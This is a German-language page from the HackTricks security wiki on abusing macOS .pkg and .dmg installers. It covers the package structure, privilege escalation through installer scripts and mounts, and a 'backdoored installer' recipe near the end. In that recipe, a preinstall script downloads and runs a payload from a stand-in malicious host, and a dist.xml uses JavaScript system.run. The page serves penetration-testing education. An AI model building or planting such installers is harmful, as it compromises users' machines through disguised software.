German - Ht
HackTricks Training Twitter Linkedin Sponsor

macOS Installers Abuse

Support HackTricks

Pkg Grundinformationen

Ein macOS Installationspaket (auch bekannt als .pkg-Datei) ist ein Dateiformat, das von macOS verwendet wird, um Software zu verteilen. Diese Dateien sind wie eine Box, die alles enthält, was ein Stück Software benötigt, um korrekt installiert und ausgeführt zu werden.

Die Paketdatei selbst ist ein Archiv, das eine Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden. Es kann auch Skripte enthalten, um Aufgaben vor und nach der Installation auszuführen, wie das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software.

Hierarchie

  • Distribution (xml): Anpassungen (Titel, Willkommensnachricht…) und Skript-/Installationsprüfungen

  • PackageInfo (xml): Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten

  • Bill of materials (bom): Liste der Dateien, die installiert, aktualisiert oder entfernt werden sollen, mit Dateiberechtigungen

  • Payload (CPIO-Archiv gzip-komprimiert): Dateien, die im install-location aus PackageInfo installiert werden

  • Skripte (CPIO-Archiv gzip-komprimiert): Vor- und Nachinstallationsskripte und weitere Ressourcen, die in ein temporäres Verzeichnis zur Ausführung extrahiert werden.

Dekomprimieren

# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"

# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"

# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts

Um den Inhalt des Installers zu visualisieren, ohne ihn manuell zu dekomprimieren, können Sie auch das kostenlose Tool Suspicious Package verwenden.

DMG Grundinformationen

DMG-Dateien oder Apple-Disk-Images sind ein Dateiformat, das von Apples macOS für Disk-Images verwendet wird. Eine DMG-Datei ist im Wesentlichen ein einhängbares Disk-Image (es enthält sein eigenes Dateisystem), das rohe Blockdaten enthält, die typischerweise komprimiert und manchmal verschlüsselt sind. Wenn Sie eine DMG-Datei öffnen, bindet macOS sie so, als wäre es eine physische Festplatte, sodass Sie auf ihren Inhalt zugreifen können.

Beachten Sie, dass .dmg-Installer so viele Formate unterstützen, dass in der Vergangenheit einige von ihnen, die Schwachstellen enthielten, missbraucht wurden, um Kernel-Codeausführung zu erlangen.

Hierarchie

Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Für Anwendungs-DMGs folgt sie jedoch normalerweise dieser Struktur:

  • Oberste Ebene: Dies ist die Wurzel des Disk-Images. Es enthält oft die Anwendung und möglicherweise einen Link zum Anwendungsordner.

  • Anwendung (.app): Dies ist die eigentliche Anwendung. In macOS ist eine Anwendung typischerweise ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen.

  • Anwendungen-Link: Dies ist eine Verknüpfung zum Anwendungsordner in macOS. Der Zweck davon ist es, Ihnen die Installation der Anwendung zu erleichtern. Sie können die .app-Datei auf diese Verknüpfung ziehen, um die App zu installieren.

Privesc über pkg-Missbrauch

Ausführung aus öffentlichen Verzeichnissen

Wenn ein Pre- oder Post-Installationsskript beispielsweise aus /var/tmp/Installerutil ausgeführt wird und ein Angreifer dieses Skript kontrollieren könnte, könnte er die Berechtigungen erhöhen, wann immer es ausgeführt wird. Oder ein weiteres ähnliches Beispiel:

AuthorizationExecuteWithPrivileges

Dies ist eine öffentliche Funktion, die mehrere Installer und Updater aufrufen, um etwas als Root auszuführen. Diese Funktion akzeptiert den Pfad der Datei, die ausgeführt werden soll, als Parameter. Wenn ein Angreifer jedoch diese Datei modifizieren könnte, wäre er in der Lage, ihre Ausführung mit Root zu missbrauchen, um die Berechtigungen zu erhöhen.

# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig

For more info check this talk: https://www.youtube.com/watch?v=lTOItyjTTkw

Ausführung durch Einhängen

Wenn ein Installer in /tmp/fixedname/bla/bla schreibt, ist es möglich, ein Mount über /tmp/fixedname ohne Besitzer zu erstellen, sodass Sie jede Datei während der Installation ändern können, um den Installationsprozess auszunutzen.

Ein Beispiel dafür ist CVE-2021-26089, das es geschafft hat, ein periodisches Skript zu überschreiben, um als Root ausgeführt zu werden. Für weitere Informationen schauen Sie sich den Vortrag an: OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl

pkg als Malware

Leerer Payload

Es ist möglich, einfach eine .pkg-Datei mit Pre- und Post-Install-Skripten zu generieren, ohne einen echten Payload außer der Malware in den Skripten.

JS in der Verteilungs-XML

Es ist möglich, <script>-Tags in der Verteilungs-XML-Datei des Pakets hinzuzufügen, und dieser Code wird ausgeführt und kann Befehle ausführen mit system.run:

Hintertüriger Installer

Bösartiger Installer, der ein Skript und JS-Code in dist.xml verwendet.

# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts

# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF

# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg

# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF

# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg

References

Support HackTricks
PreviousmacOS BundlesNextmacOS Memory Dumping

Last updated